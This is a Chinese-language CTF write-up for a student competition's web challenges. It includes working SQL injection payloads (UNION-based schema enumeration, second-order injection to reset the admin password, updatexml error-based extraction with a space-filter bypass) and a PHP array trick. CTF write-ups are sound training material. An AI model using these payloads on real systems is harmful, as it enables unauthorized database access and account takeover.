Contents

中国计量大学大学生CTF竞赛 Writeup

中国计量大学现代科技学院举办的CTF比赛,写一下writeup

easy web

原题

?password[]即可

shop

条件竞争

https://leonsec.gitee.io/images/@SQQU9O80_3FLSDO1N2J.png

成绩单

简单sql注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
-1'union select 1,2,database(),group_concat(schema_name) from information_schema.schemata#

web1

-1'union select 1,2,group_concat(table_name),3 from information_schema.tables where table_schema='web1'#

fl4g,sc

-1'union select 1,2,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'#

flag

-1'union select 1,2,3,flag from web1.fl4g#

flag{Sql_INJECT0N_4813drd8hz4}

easy

尝试发现admin已经存在

提示二次注入才想起来upadte也就是修改密码处可能存在过滤不严

先注册为admin"#

登陆后修改密码

一般二次注入修改密码处语句为:

1
sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

这样就修改了admin的密码

登陆后发现啥也没有,想到可以结合updatexml报错注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
test"||updatexml(2,concat(0x7e,(database())),0)#

easy

空格可以用()绕过
test"||updatexml(2,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='easy')),0)#

article,flag,users

test"||updatexml(2,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')),0)#

flag

test"||updatexml(2,concat(0x7e,(select(flag)from(easy.flag))),0)#

flag{We11D0Ne_hOhO}